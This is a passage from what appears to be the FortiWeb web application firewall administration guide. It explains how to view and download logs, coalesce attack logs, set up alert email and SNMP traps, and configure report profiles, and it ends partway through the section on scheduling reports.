14	04-14 09:02	jsconsole	login	User admin logged in successfully from jsconsole	
15	04-14 09:02	GUI	login	User admin logged in successfully from GUI->HTTP(10.12.95.1)	
16	04-14 08:37	daemon	edit	Reseeding successfully from the old method	
17	04-14 08:15	GUI	add	User admin added syslog-policy test from GUI(10.12.95.1)	
18	04-14 07:54	jsconsole	edit	Command failed: 'end' Return code -50: Input is in invalid format.	
19	04-14 07:54	jsconsole	edit	Command failed: 'edit' Return code -90: CLI parsing error.	
20	04-14 07:54	jsconsole	edit	Command failed: 'set company-name' Return code -90: CLI parsing error.	

(Refresh button)	Click to update the page with any logs that have been recorded since you previously loaded the page.
Add Filter	Click to create a filter based on log message fields. Only messages that are in the most recent 100,000 messages and match the criteria in the filter are displayed. When you search by date and time, all messages with the selected date are displayed.
(drag and drop column heading)	Change the order of columns.
(right-click column heading)	Right-click a column heading to access settings that add or hide columns that correspond to log fields or remove any filters you have applied.
(Log Management button)	Click to download, delete, or view the contents of a log file.
(Generate Log Detail PDF)	Click to generate a detailed report of the selected attack log message in PDF format. Available only for the attack log.

2. If you want to view log messages in a rotated log file, click **Log Management**.

A page appears, listing each of the log files for that type that are stored on the local hard drive.

3. Mark the check box next to the file whose log messages you want to view.
4. Click **View**.

The page displays the log messages in the file you selected.

Viewing a single log message as a table

When viewing attack log messages or traffic log messages, you can display the log message as a table in the frame beside the log view.

To view message details

1. Go to either **Log&Report > Log Access > Attack** or **Log&Report > Log Access > Traffic**.

To access this part of the web UI, your administrator's account access profile must have **Read** and **Write** permission to items in the **Log & Report** category. For details, see ["Permissions"](#) on page 85.

2. Click any log message.

The details appear beside the main log table. The arrow icon in the top-left of the details pane allows you to expand or collapse the pane.

Viewing packet payloads

If you enabled retention of packet payloads from FortiWeb's HTTP parser for attack and traffic logs, you can view a part of the payload as dissected by the HTTP parser, in table form, via the web UI. For details, see ["Enabling log types, packet payload retention, & resource shortage alerts"](#) on page 693.

Packet payload tables display the decoded packet payload associated with the log message that it caused. This supplements the log message by providing the actual data that triggered the regular expression, which may help you to fine-tune your regular expressions to prevent false positives, or aid in forensic analysis.

To view a packet payload

1. Go to either **Log&Report > Log Access > Attack** or **Log&Report > Log Access > Traffic**.

To access this part of the web UI, your administrator's account access profile must have **Read** and **Write** permission to items in the **Log & Report** category. For details, see ["Permissions"](#) on page 85.

2. In the row corresponding to the log message whose packet payload you want to view, click the log message.

There may not be a **Packet Log** icon for every log message, such as for normal HTTP responses and attack types where you have not enabled packet payload retention.

In a frame to the right the log messages, the log message appears in table format, as well as the decoded HTTP headers and packet payload. Parameters and file uploads are in either the **URL** or (for HTTP `POST` requests) **Data** fields. Cookies can be either in the **Cookie** or **Data** fields.

See also

- ["Enabling log types, packet payload retention, & resource shortage alerts"](#) on page 693
- ["Coalescing similar attack log messages"](#) on page 711
- ["Downloading log messages"](#) on page 709

Downloading log messages

You can download logs that are stored locally (that is, on the FortiWeb appliance's hard drive) to your management computer.

In the web UI, there are two different methods:

- Download one or more **whole log files**. (If the log has not yet been rotated, there may be only one file.)
- Download only the log messages that occurred within a **specific time period**, regardless of which file contains them.

To download log messages matching a time period

1. Go to **Log&Report > Log Access > Download**.

To access this part of the web UI, your administrator's account access profile must have **Read** and **Write** permission to items in the **Log & Report** category. For details, see ["Permissions"](#) on page 85.

2. Configure these settings:

Log Type	Select one of the following log types to download
System Time	Displays the date and time according to FortiWeb's clock at the time that this page was loaded, or when you last clicked the Refresh button.
Start Time	Choose the starting point for the log download by selecting the year, month and day as well as the hour, minute and second that defines the first of the log messages to download.

End Time

Choose the end point for the log download by selecting the year, month and day as well as the hour, minute and second that defines the last of the log messages to download.

3. Click Download.

If there are no log messages of that log type in that time period, a message appears:

```
no logs selected
```

Click **Return** and revise the time period or log type selection.

4. If a file download dialog appears, choose the directory where you want to save the file.

Your browser downloads the log file in a `.tgz` compressed archive. Time required varies by the size of the log and the speed of the network connection.

To download a whole log file**1. Go to one of the log types, such as Log&Report > Log Access > Event.**

To access this part of the web UI, your administrator's account access profile must have **Read** and **Write** permission to items in the **Log & Report** category. For details, see "[Permissions](#)" on page 85.

2. Click Log Management.

A page appears, listing each of the log files for that type that are stored on a local hard drive.

3. Mark the check box next to the file that you want to download.**4. Click Download.****5. Select either Normal format (raw, plain text logs) or CSV format (comma-separated value).**

Raw, unencrypted logs can be viewed with a plain text editor. CSV-formatted, unencrypted logs can be viewed with a spreadsheet application, such as Microsoft Excel or OpenOffice Calc.

6. If you would like to password-encrypt the log files using 128-bit AES before downloading them, enable Encryption and type a password in Password.

Encrypted logs can be decrypted and viewed by archive viewers that support this encryption, such as 7zip 9.20 or WinRAR 5.0.

7. Click OK.**8. If a file download dialog appears, choose the directory where you want to save the file.**

Your browser downloads the log file as a `.log` or `.csv` file, depending on which format you selected. Time required varies by the size of the log and the speed of the network connection.

Deleting log files

If you have downloaded log files to an external backup, or if you no longer require them, you can delete one or more locally stored log files to free disk space.

To delete a log file**1. Go to one of the log types, such as Log&Report > Log Access > Event.**

To access this part of the web UI, your administrator's account access profile must have **Read** and **Write** permission to items in the **Log & Report** category. For details, see ["Permissions"](#) on page 85.

2. Click **Log Management**.

A page appears, listing each of the log files for that type that are stored on the local hard drive.

3. Either:

To delete **all** log files, mark the check box in the column heading. All rows' check boxes will become marked.

To delete **some** log files, mark the check box next to each file that you want to delete.

4. Click **Clear Log**.

Coalescing similar attack log messages

FortiWeb can generate many types of attack log messages, including Custom Access Violation, Header Length Exceeded, IP Reputation Violation, and SQL Injection.

To make attack log messages easier to review, when the total number of attack types exceeds 32 in a single day, FortiWeb aggregates two types of messages—signature attacks and HTTP protocol constraints violations—in the **Aggregated Attacks** page.

For details about the signatures and constraints that generate the aggregated messages, see ["Blocking known attacks & data leaks"](#) on page 505 and ["HTTP/HTTPS protocol constraints"](#) on page 568.



Some attacks only generate one log message per interval while an attack is underway. They are effectively already coalesced. For details, see ["Log rate limits"](#) on page 692 and ["Viewing log messages"](#) on page 706.

To coalesce similar attack log messages

1. Go to **Log&Report > Log Access > Attack** and select the **Aggregated Attacks** tab.

To access this part of the web UI, your administrator's account access profile must have **Read** and **Write** permission to items in the **Log & Report** category. For details, see ["Permissions"](#) on page 85.

2. Each row of aggregated log messages is initially grouped into similar attack types, **not** primarily by day or time.

If you want to aggregate attacks by time instead, click **Aggregate log by Date**.

Each page in the display contains up to 7 dates of aggregated logs. To view dates before that time, click the arrow to go to the next page.

To expand a row in order to view individual items comprising it, click the plus sign (+) in the # column.

3. To view a list of all log messages comprising that item, click the item's row. Details appear in a pane to the right.

Alert email

To notify you of serious attack and/or system failure events, you can configure the FortiWeb appliance to generate an alert email.

Alerts appear on the dashboard. FortiWeb will also generate alert e-mail if you configure email settings and include them in a trigger that is used by system resource thresholds and/or traffic policies.

Alert email are based upon events that are also in log messages. If you have received an alert email and want to know more about the events, go to the corresponding log messages. For details about viewing locally stored log messages, see ["Viewing log messages"](#) on page 706.

To configure alert email

1. Configure email settings so that FortiWeb will be able to connect to an SMTP server that will deliver alerts. For details, see ["Configuring email settings"](#) on page 712.
2. If you want to receive email about attacks or policy violations, add the email settings to the trigger that is used by those policies. For details, see ["Configuring triggers"](#) on page 705.
3. If you want to receive email about system resource statuses, configure alert thresholds. For details, see ["Enabling log types, packet payload retention, & resource shortage alerts"](#) on page 693.
4. If you want to receive copies of event log messages via email, For details, see ["Configuring alert email for event logs"](#) on page 714.

Configuring email settings

If you define email settings, FortiWeb can send email to alert specific administrators or other personnel when a serious condition or problem occurs, such as a system failure or network attack. Email settings include email address information for selected recipients and it sets the frequency that emails are sent to those recipients.

For example, you might configure a signature set to monitor for SQL-injection violations and take specific actions if those types of violations occur. The specific actions can include sending an alert email, in which case the email is sent to the individuals identified in the email settings attached to the trigger used for the SQL injection violation. The trigger could also include recording the violation in Syslog or FortiAnalyzer. For more information on Syslog or FortiAnalyzer settings, see ["Configuring Syslog settings"](#) on page 700 and ["Configuring FortiAnalyzer policies"](#) on page 701.

The alert email settings also enables you to define the interval that emails are sent if the same alert condition persists following the initial occurrence.

For example, you might configure the FortiWeb appliance to send only one alert message for each 15-minute interval after warning-level log messages begin to be recorded. In that case, if the alert condition continues to occur for 35 minutes after the first warning-level log message, the FortiWeb appliance would send a total of three alert email messages, no matter how many warning-level log messages were recorded during that period of time.

For details about the severity levels of log messages, see ["Log severity levels"](#) on page 692.

To configure email settings

1. Enable alert email for each log type that you want to generate alert email. For details, see ["Enabling log types, packet payload retention, & resource shortage alerts"](#) on page 693.

2. Go to **Log&Report > Log Policy > Email Policy**.

To access this part of the web UI, your administrator's account access profile must have **Read** and **Write** permission to items in the **Log & Report** category. For details, see ["Permissions"](#) on page 85.

3. Click **Create New**.

4. Configure these settings:

SMTP server	Type the fully qualified domain name (FQDN, e.g. <code>mail.example.com</code>) or IP address of the SMTP relay or server, such as a FortiMail appliance, that the FortiWeb appliance uses to send alerts and generated reports. Caution: If you enter a domain name, you must also configure the FortiWeb appliance with at least one DNS server. Failure to configure a DNS server may cause the FortiWeb appliance to be unable to resolve the domain name, and therefore unable to send the alert. For details about configuring use of a DNS server, see "Configuring DNS settings" on page 185.
SMTP Port	Enter the port on the SMTP server that listens for alerts and generated reports from FortiWeb.
Email From	Type the sender email address, such as <code>fortiweb@example.com</code> , that the FortiWeb appliance will use when sending alert email messages.
Email To	Type up to three recipient email addresses such as <code>admin@example.com</code> . Enter one per field.
Authentication	Enable if the SMTP relay requires authentication.
SMTP Username	Type the user name of the account on the SMTP relay (e.g. <code>fortiweb</code>) that FortiWeb uses to send alerts. This option is available only if Authentication (page 713) is enabled.
SMTP Password	Type the password of the account on the SMTP relay that FortiWeb uses to send alerts. This option is available only if Authentication (page 713) is enabled.
Apply & Test	Click to save the current settings and test the connection to the SMTP server.
Log Level	Select the priority threshold that log messages must meet or exceed in order to cause an alert. For details about log levels, see "Log severity levels" on page 692.
Interval	Type the number of minutes between each alert if an alert condition of the specified severity level continues to occur after the initial alert.
Connection Security	Select one of the following options: • None—FortiWeb applies no security protocol to email.

	• STARTTLS—Encrypts the connection to the SMTP server using STARTTLS. • SSL/TLS—Encrypts the connection to the SMTP server using SSL/TLS.
Enable Email attachments compression	Check to apply compression to the alert email policy. With the compression function being enabled, event logs and alerts will be attached to the emails in ZIP format, otherwise they will be attached in TXT format.
Company Name	Custom your alert email by inserting a company name. Enter a company name; the specified name will be displayed on the top of the email content.
Company Logo	Custom your alert email by inserting a company logo. Select a company logo; the specified logo will be displayed on the top of the email content. Only JPG is acceptable, and the maximum acceptable file size of the logo is 36KB.

5. Click **OK**.
6. Group the email settings in a trigger. For details, see ["Configuring triggers"](#) on page 705.
7. Add the appliance's sender address to your address book. Depending on your anti-spam software/device, you may also need to adjust other settings to ensure that email from this appliance is not accidentally dropped or tagged as spam.
8. To verify your settings and connectivity to the email server/relay, click **Apply & Test**.

See also

- ["Enabling log types, packet payload retention, & resource shortage alerts"](#) on page 693
- ["Configuring triggers"](#) on page 705
- ["Configuring alert email for event logs"](#) on page 714

Configuring alert email for event logs

You can configure FortiWeb to send an alert email for event log messages.

To configure alert email for event logs

1. Go to **Log&Report > Log Config > Global Log Settings**.

To access this part of the web UI, your administrator's account access profile must have **Read** and **Write** permission to items in the **Log & Report** category. For details, see ["Permissions"](#) on page 85.

2. Configure these settings:

Alert Mail	Enable to generate alert email when log messages are created. Distribution of alert email is controlled by email policies and trigger actions associated with various types of violations. If this option is enabled, but a trigger action is not selected for a specific type of violation, every occurrence of that violation will result in an alert email to the individuals associated with the policy selected in the Email Policy (page 715) field. Note: Alert email are not sent for traffic logs.

Note: Before enabling this option, verify that log frequency is not too great. If logs are very frequent, enabling this option could decrease performance and cause the FortiWeb appliance to send you many alert email messages.

Email Policy

Select the email settings to use for alert emails. For details, see ["Configuring email settings"](#) on page 712.

3. Click **Apply**.

See also

- ["Configuring log destinations"](#) on page 695
- ["Viewing log messages"](#) on page 706
- ["Downloading log messages"](#) on page 709
- ["Enabling log types, packet payload retention, & resource shortage alerts"](#) on page 693
- ["Configuring email settings"](#) on page 712
- ["Configuring Syslog settings"](#) on page 700
- ["Configuring FortiAnalyzer policies"](#) on page 701
- ["Configuring log destinations"](#) on page 695
- ["Obscuring sensitive data in the logs"](#) on page 699

SNMP traps & queries

System > Config > SNMP enables you to configure the FortiWeb appliance's simple network management protocol (SNMP) agent to allow queries for system information and to send traps (alarms or event messages) to the computer that you designate as its SNMP manager. In this way you can use an SNMP manager to monitor the FortiWeb appliance.

Before you can use SNMP, you must activate the FortiWeb appliance's SNMP agent and add it as a member of at least one community. You must also enable SNMP access on the network interface through which the SNMP manager connects. For details, see ["Configuring the network interfaces"](#) on page 164.

On the SNMP manager, you must also verify that the SNMP manager is a member of the community to which the FortiWeb appliance belongs, and compile the necessary Fortinet-proprietary management information blocks (MIBs) and Fortinet-supported standard MIBs. For details about MIBs, see ["MIB support"](#) on page 719.



Failure to configure the SNMP manager as a host in a community to which the FortiWeb appliance belongs, or to supply it with required MIBs, will make the SNMP monitor unable to query or receive traps from the FortiWeb appliance.

To configure the SNMP agent

1. Add the MIBs to your SNMP manager so that you will be able to receive traps and perform queries. For instructions, see the documentation for your SNMP manager.
2. Go to **System > Config > SNMP**.

To access this part of the web UI, your administrator's account access profile must have **Read** and **Write** permission to items in the **System Configuration** category. For details, see ["Permissions"](#) on page 85.

3. Configure the following settings:

SNMP Agent	Enable to activate the SNMP agent, so that the FortiWeb appliance can send traps and receive queries for the communities in which you enabled queries and traps. For details about communities, see "Configuring an SNMP community" on page 716.
Description	Type a comment about the FortiWeb appliance, such as <code>dont-reboot</code>. The description can be up to 35 characters long, and can contain only letters (a-z, A-Z), numbers, hyphens (-) and underscores (_).
Location	Type the physical location of the FortiWeb appliance, such as <code>floor2</code>. The location can be up to 35 characters long, and can contain only letters (a-z, A-Z), numbers, hyphens (-) and underscores (_).
Contact	Type the contact information for the administrator or other person responsible for this FortiWeb appliance, such as a phone number (555-5555) or name (jdoe). The contact information can be up to 35 characters long, and can contain only letters (a-z, A-Z), numbers, hyphens (-) and underscores (_).

4. Click **Apply**.

5. Create at least one SNMP community to define which hosts are allowed to query, and which hosts will receive traps. For details, see ["Configuring an SNMP community"](#) on page 716.

See also

- ["Configuring the network interfaces"](#) on page 164
- ["Configuring an SNMP community"](#) on page 716
- ["MIB support"](#) on page 719

Configuring an SNMP community

An SNMP community is a grouping of equipment for network administration purposes. You must configure your FortiWeb appliance to belong to at least one SNMP community so that community's SNMP managers can query the FortiWeb appliance's system information and receive SNMP traps from the FortiWeb appliance.

On FortiWeb, SNMP communities are also where you enable the traps that will be sent to that group of hosts.

You can add up to three SNMP communities. Each community can have a different configuration for queries and traps, and the set of events that trigger a trap. You can also add the IP addresses of up to eight SNMP managers to each community to designate the destination of traps and which IP addresses are permitted to query the FortiWeb appliance.

To add an SNMP community to the FortiWeb appliance's SNMP agent

1. Go to **System > Config > SNMP**.

To access this part of the web UI, your administrator's account access profile must have **Read** and **Write** permission to items in the **System Configuration** category. For details, see "[Permissions](#)" on page 85.

2. If you have not already configured the agent, do so before continuing. For details, see "[To configure the SNMP agent](#)" on page 715.
3. Do one of the following:
 - To create a SNMP version 1 or 2c community, under SNMP v1/v2c, click **Create New**.
 - To create a SNMP version 3 community, under SNMP v3, click **Create New**.

SNMP v3 adds more security by using authentication and privacy encryption.

4. Configure these settings:

Community Name	Type the name of the SNMP community to which the FortiWeb appliance and at least one SNMP manager belongs, such as <code>public</code>. The FortiWeb appliance will not respond to SNMP managers whose query packets do not contain a matching community name. Similarly, trap packets from the FortiWeb appliance will include community name, and an SNMP manager may not accept the trap if its community name does not match. Caution: Fortinet strongly recommends that you do not add FortiWeb to the community named <code>public</code>. This popular default name is well-known, and attackers that gain access to your network will often try this name first. Available for SNMP version 1 or 2 communities only.
User Name	Type the name that identifies the SNMP user. Available for SNMP version 3 communities only.
Security Level	Choose one of the following three security levels: • No Authentication, No Privacy—Enables no additional authentication or encryption compared to SNMP v1 and v2. • Authentication, No Privacy—Enables authentication only. The SNMP manager needs to supply the password specified in this community configuration. Also specify Authentication Algorithm (page 717) and the associated password. • Authentication, Privacy—Enables both authentication and encryption. Also specify Authentication Algorithm (page 717), Privacy Algorithm (page 718) and the associated passwords. Ensure that the SNMP manager and FortiWeb use the same protocols and passwords. Available for SNMP version 3 communities only.
Authentication Algorithm	If the Security Level (page 717) value includes authentication, specify the authentication protocol and password. Ensure that the SNMP manager and FortiWeb use the same protocol and

	password.
Privacy Algorithm	If Security Level (page 717) is Authentication and Privacy, specify the encryption protocol and password. Ensure that the SNMP manager and FortiWeb use the same protocol and password.
Hosts	
IP Address	Type the IP address of the SNMP manager that, if traps or queries are enabled in this community: • Will receive traps from the FortiWeb appliance • Will be permitted to query the FortiWeb appliance SNMP managers have read-only access. To allow any IP address using this SNMP community name to query the FortiWeb appliance, enter 0 . 0 . 0 . 0 . For security best practice reasons, however, this is not recommended. Caution:FortiWeb sends security-sensitive traps, which should be sent only over a trusted network, and only to administrative equipment. Note: If there are no other host IP entries, entering only 0 . 0 . 0 . 0 effectively disables traps because there is no specific destination for trap packets. If you do not want to disable traps, you must add at least one other entry that specifies the IP address of an SNMP manager. You can add up to 8 SNMP managers.
Queries	For each protocol the community uses, enter the port number (161 by default) on which the FortiWeb appliance listens for SNMP queries from the SNMP managers in this community, then enable queries for that protocol. For supported queries, see the FortiWeb MIB file and "MIB support" on page 719.
Traps	For each protocol the community uses, enter the port number (162 by default) for the source port (Local) and destination port (Remote) for trap packets sent to SNMP managers in this community, then enable traps for that protocol.

5. Enable traps for the SNMP events that you want FortiWeb to notify your SNMP managers.

While most trap events are described by their names, the following events occur when a threshold has been exceeded:

- **CPU usage is high** —CPU usage has exceeded 80%.
- **Memory usage is high** —Memory (RAM) usage has exceeded 80%.
- **Log disk space low**—Disk space usage for the log partition/disk has exceeded 80%.

For details about supported traps and queries, see "[MIB support](#)" on page 719.

6. Click **OK**.
7. To verify your SNMP configuration and network connectivity between your SNMP manager and your FortiWeb appliance, be sure to test both traps and queries (assuming you have enabled both). Traps and queries typically occur on different port numbers, and therefore verifying one does not necessarily verify that the other is also functional. To test queries, from your SNMP manager, query the FortiWeb appliance. To test traps, cause one of the events that should trigger a trap.

MIB support

The FortiWeb SNMP agent supports a few management information blocks (MIBs).

Supported MIBs

Fortinet Core MIB	This Fortinet-proprietary MIB enables your SNMP manager to query for system information and to receive traps that are common to multiple Fortinet devices.
FortiWeb MIB	This Fortinet-proprietary MIB enables your SNMP manager to query for FortiWeb-specific information such as the utilization of each CPU, and to receive FortiWeb-specific traps, such as when an attack is detected by a signature.
RFC-1213 (MIB II)	The FortiWeb SNMP agent supports MIB II groups, except: • There is no support for the EGP group from MIB II. See RFC 1213 (http://tools.ietf.org/html/rfc1213), section 3.11 and 6.10. • Protocol statistics returned for MIB II groups (IP, ICMP, TCP, UDP, and so on.) do not accurately capture all FortiWeb traffic activity. More accurate information can be obtained from the information reported by the FortiWeb MIB.
RFC-2665 (Ethernet-like MIB)	The FortiWeb SNMP agent supports Ethernet-like MIB information, except the dot3Tests and dot3Errors groups. See RFC 2665 (https://tools.ietf.org/html/rfc2665).

To obtain these MIB files, go to **System > Config > SNMP** and click the following links:

- **Download FortiWeb MIB File**
- **Download Fortinet Core MIB File**

To communicate with your FortiWeb appliance's SNMP agent, first compile these MIBs into your SNMP manager. If the standard MIBs used by the SNMP agent are already compiled into your SNMP manager, you do not have to compile them again.

To view a trap or query's name, object identifier (OID), and description, open its MIB file in a plain text editor.

All traps sent include the message, the FortiWeb appliance's serial number, and host name.

For instructions on how to configure traps and queries, see "[SNMP traps & queries](#)" on page 715.

See also

- ["SNMP traps & queries"](#) on page 715

Reports

FortiWeb can generate reports based on:

- auto-learning data collected by policies (see ["Auto-learning"](#) on page 202)
- traffic statistics collected by policies (see ["Data analytics"](#) on page 730 and ["Bot analysis"](#) on page 735)
- attack, event, and traffic log messages
- vulnerability scans for PCI compliance

When generating a log-based or scan-based report, FortiWeb appliances collate information collected from log files and scan results, and present the information in tabular and graphical format.

Before it can generate a report, in addition to log files and scan results, FortiWeb appliances require a report profile in order to generate a report. A report profile is a group of settings that contains the report name, file format, subject matter, and other aspects that the FortiWeb appliance considers when generating the report.

FortiWeb appliances can generate reports automatically, according to the schedule that you configure in the report profile, or manually, when you click the **Run now** icon in the report profile list.

Consider sending reports to your web developers to provide feedback. If your organization develops web applications in-house, this can be a useful way to quickly provide them information on how to improve the security of the application.



Generating reports can be resource intensive. To avoid traffic processing performance impacts, you may want to generate reports during times with low traffic volume, such as at night or weekends. For details about scheduling the generation of reports, see ["Scheduling reports"](#) on page 727. To determine the current traffic volume, see ["HTTP Throughput Monitor widget"](#) on page 683.

To configure a report profile

1. Before you generate a report, collect log data and/or vulnerability scan data that will be the basis of the report. For details about enabling logging to the local hard disk, see ["Configuring logging"](#) on page 693 and ["Vulnerability scans"](#) on page 650.
2. Go to **Log&Report > Report > Report Config**.

To access this part of the web UI, your administrator's account access profile must have **Read** and **Write** permission to items in the **Log & Report** category. For details, see ["Permissions"](#) on page 85.
3. Click **Create New**.
4. In **Report Name**, type the name of the report as it will be referenced in the configuration. The name cannot contain spaces and is limited to 63 characters.
5. Select one of the below **Types**:

On Schedule: Select to run the report at configured intervals. To configure a schedule, see ["Scheduling reports"](#) on page 727.

On Demand: Select to run the report after you complete the configuration.



For on-demand reports, the FortiWeb appliance does **not** save the report profile after the generating the report. If you want to save the report profile, but do not want to generate the report at regular intervals, select **On Schedule**, but then in the **Schedule** section, select **Not Scheduled**.

6. In **Report Title**, type a display name that will appear in the title area of the report. The title may include spaces and is limited to 42 characters.
7. In **Description**, type a comment or other description. There is a 199 character limit.
8. Click the blue expansion arrow next to each section, and configure these settings:

Properties	Select to add logos, headers, footers and company information to customize the report. For details, see "Customizing the report's headers, footers, & logo" on page 722.
Report Scope	Select the time span of log messages from which to generate the report. You can also create a data filter to include in the report only those logs that match a set of criteria. For details, see "Restricting the report's scope" on page 723.
Report Types	Select one or more subject matters to include in the report. For details, see "Choosing the type & format of a report profile" on page 725.
Report Format	Select the number of top items to include in ranked report subtypes, and other advanced features. For details, see "Choosing the type & format of a report profile" on page 725.
Schedule	Select when the FortiWeb appliance will run the report, such as weekly or monthly. For details, see "Scheduling reports" on page 727. This section is available only if Type is On Schedule .
Output	Select the file formats and destination email addresses, if any, of reports generated from this report profile. For details, see "Selecting the report's file type & delivery options" on page 727.

9. Click **OK**.

On-demand reports are generated immediately. Scheduled reports are generated at intervals set in the schedule. For details about viewing generated reports, see ["Viewing & downloading generated reports"](#) on page 729.

To generate a report immediately

1. Mark the check box of the report.
2. Click **Run now**.

See also

- "Customizing the report's headers, footers, & logo" on page 722
- "Restricting the report's scope" on page 723
- "Choosing the type & format of a report profile" on page 725
- "Scheduling reports" on page 727
- "Selecting the report's file type & delivery options" on page 727

Customizing the report's headers, footers, & logo

When configuring a report profile, you can provide text and logos to customize the appearance of reports generated from the profile.

To upload a logo file

1. Go to **Log&Report > Report > Report Config**.
2. Click **Create New** or select an existing **Report Config**.
3. Expand the **Properties** section.
4. Configure these settings:

Company Name	Type the name of your company or other organization.
Header Comment	Type a title or other information to include in the header.
Footer Comment	Select which information to include in the footer: • Report Title—Use the text from Report Name. • Custom—Use other text that you type into the field to the right of this option.
Title Page Logo	Select No Logo to omit the title page logo. Select Custom to include a logo, then click Select to locate the logo file, and click Upload to save it to the FortiWeb appliance's hard disk for use in the report title page.
Header Logo	Select No Logo to omit the header logo. Select Custom to include a logo, then click Select to locate the logo file, and click Upload to save it to the FortiWeb appliance's hard disk for use in the report header. The header logo will appear on every page in PDF- and Microsoft Word (RTF)-formatted reports, and at the top of the page in HTML-formatted reports.

5. Click **OK**.

The name of the logo appears next to **Custom** on the **Report Config**.

When adding a logo to the report, select a logo file format that is compatible with your selected file format outputs. If you select a logo that is not supported for a file format, the logo will not appear in that output. For example, if you provide a logo graphic in WMF format, it will not appear in PDF or HTML output.

Report file formats and their supported logo file formats

PDF reports	JPG, PNG, GIF
RTF reports	JPG, PNG, GIF, WMF
HTML reports	JPG, PNG, GIF

To delete a logo file

1. Go to **Log&Report > Report > Report Config**.
2. Select a **Report Config** within which you want to delete a logo file.
3. Expand the **Properties** section of the **Report Config** dialog.
4. Click the **Select** link beside the logo name you want to remove in either **Title Page Logo** or **Header Logo**.
5. Select the logo to remove.
6. Click **Delete**.

Restricting the report's scope

When configuring a report profile, you can select the time span of log messages from which to generate the report. You can also filter out log messages that you do not want to include in the report. To start at the beginning of the report configuration instructions, see ["To configure a report profile"](#) on page 720.

1. Go to **Log&Report > Report > Report Config**.
2. Click **Create New** or select an existing **Report Config**.
3. Expand the **Report Scope** section. Also expand the **Time Period** and **Data Filter** sections.
4. Configure these settings:

Time Period	Select the time span of the report, such as This Month or Last N Days . Alternatively, select and configure the From Date and To Date .
Past N Hours Past N Days Past N Weeks	Enter the number N of the appliance of time. This option appears only when you have selected Last N Hours , Last N Days , or Last N Weeks from Time Period , and therefore must define N .
From Date Hour	Select and configure the beginning of the time span. For example, you may want the report to include log messages starting from May 5, 2006 at 6 PM. You must also configure To Date .
To Date Hour	Select to configure the end of the time span. For example, you may want the report to include log messages up to May 6, at 12 AM. You must also select and configure From Date .

None	Select this option to include all log messages within the time span.
Include logs that match the following criteria	Select this option to include only the log messages whose values match your filter criteria, such as Priority. Also select whether log messages must meet every other configured criteria (all) or if meeting any one of them is sufficient (any) to be included. To exclude the log messages which match a criterion, mark its not check box, located on the right-hand side of the criterion.
Priority	Mark the check box to filter by log severity threshold (in raw logs, the <code>pri</code> field), then select the name of the severity, such as Emergency , and whether to include logs that are greater than or equal to (>=), equal to (=), or less than or equal to (<=) that severity.
Source(s)	Type the source IP address (in raw logs, the <code>src</code> field) that log messages must match. Note: Source(s) may be the IP address according to an HTTP header such as <code>X-Forwarded-For</code>: instead of the <code>SRC</code> at the IP layer. For details, see "Defining your proxies, clients, & X-headers" on page 421.
Destination(s)	Type the destination IP address (in raw logs, the <code>dst</code> field) that log messages must match.
Http Method(s)	Type the HTTP method (in raw logs, the <code>http_method</code> field) that log messages must match, such as <code>get</code> or <code>post</code> .
User(s)	Type the administrator account name (in raw logs, the <code>user</code> field) that log messages must match, such as <code>admin</code> .
Action(s)	Type the action (in raw logs, the <code>action</code> field) that log messages must match, such as <code>login</code> or <code>Alert</code> .
Subtype(s)	Type the subtype (in raw logs, the <code>subtype</code> field) that log messages must match, such as <code>waf_information</code> .
Policy(s)	Type the policy name (in raw logs, the <code>policy</code> field) that log messages must match.
Service(s)	Type the service name (in raw logs, the <code>src</code> field) that log messages must match, such as <code>http</code> or <code>https</code> .
Message(s)	Type the message (in raw logs, the <code>msg</code> field) that log messages must match.
Signature Subclass Type(s)	Type the signature subclass type (in raw logs, the <code>signature_subclass</code> field) that log messages must match.

Signature ID(s)	Type the signature ID value (in raw logs, the <code>signature_id</code> field) that log messages must match.
Source Country(s)	Type the source country value (in raw logs, the <code>srccountry</code> field) that log messages must match.
Day of Week	Mark the check boxes for the days of the week whose log messages you want to include.

5. Click **OK**.

Choosing the type & format of a report profile

When configuring a report profile, you can select one or more queries or query groups that define the subject matter of the report.

When configuring a report profile, you can configure various advanced options that affect how many log messages are used to formulate ranked report subtypes, and how results will be displayed.

To start at the beginning of the report configuration instructions, see ["To configure a report profile"](#) on page 720.

1. Go to **Log&Report > Report > Report Config**.
2. Click **Create New** or select an existing **Report Config**.
3. Expand the **Report Type(s)** and **Report Format** sections.
4. Configure these settings:

Report Types

Each query group contains multiple individual queries, each of which correspond to a chart that will appear in the generated report. You can select all queries within the group by marking the check box of the query group, or you can expand the query group and then individually select each query that you want to include:

- **PCI Reports**
- **Attack Activity**
- **Traffic Activity**
- **Event activity**

For example:

- If you want the report to include charts about both normal traffic and attacks, you might enable both of the query groups **Attack Activity** and **Event Activity**.
- If you want the report to specifically include only a chart about top system event types, you might expand the query group **Event Activity**, then enable only the individual query **Top Event Types**.

Report Format

Include reports with no matching data	Enable to include reports for which there is no data. A blank report will appear in the summary. You might enable this option to verify inclusion of report types selected in the report profile when filter criteria or absent logs would normally cause the report type to be omitted.
Advanced	
In 'Ranked Reports' show top	Ranked reports (top x, or top y of top x) can include a different number of results per cross-section, then combine remaining results under "Others." For example, in Top Sources By Top Destination, the report includes the top x destination IP addresses, and their top y source IP addresses, then groups the remaining results. You can configure both x and y in the Advanced section of Report Format In ranked reports, ("top x" report types, such as Top Attack Type), you can specify how many items from the top rank will be included in the report. For example, you could set the Top Attack URLs report to include up to 30 of the top x denied URLs by entering 30 for values of the first variable 1.. 30. Some ranked reports rank not just one aspect, but two, such as Top Sources By Top Destination: this report ranks top source IP addresses for each of the top destination IP addresses. For these double ranked reports, you can also configure the rank threshold of the second aspect by entering the second threshold in values of the second variable for each value of the first variable 1..30. Note: Reports that do not include "Top" in their name display all results. Changing the ranked reports values will not affect these reports.
values of the first variable 1.. 30	Type the value of x .
values of the second variable for each value of the first variable 1.. 30	Type the value of y. This value is only considered if the report rankings are nested (i.e. top y of top x).
Include Summary Information	Enable to include a listing of the report profile settings.
Include Table of Contents	Enable to include a table of contents for the report.

5. Click **OK**.

Scheduling reports

When configuring a report profile, you can select whether the FortiWeb appliance will generate the report on demand or according to the schedule that you configure.

To start at the beginning of the report configuration instructions, see ["To configure a report profile"](#) on page 720.



Generating reports can be resource-intensive. To improve performance, schedule reports during times when traffic volume is low, such as at night or during weekends. To determine the current traffic volumes, see ["HTTP Throughput Monitor widget"](#) on page 683.

1. Go to **Log&Report > Report > Report Config**.
2. Click **Create New** or select an existing **Report Config**.
3. Expand the **Schedule** section.
4. Configure these settings:

Schedules	
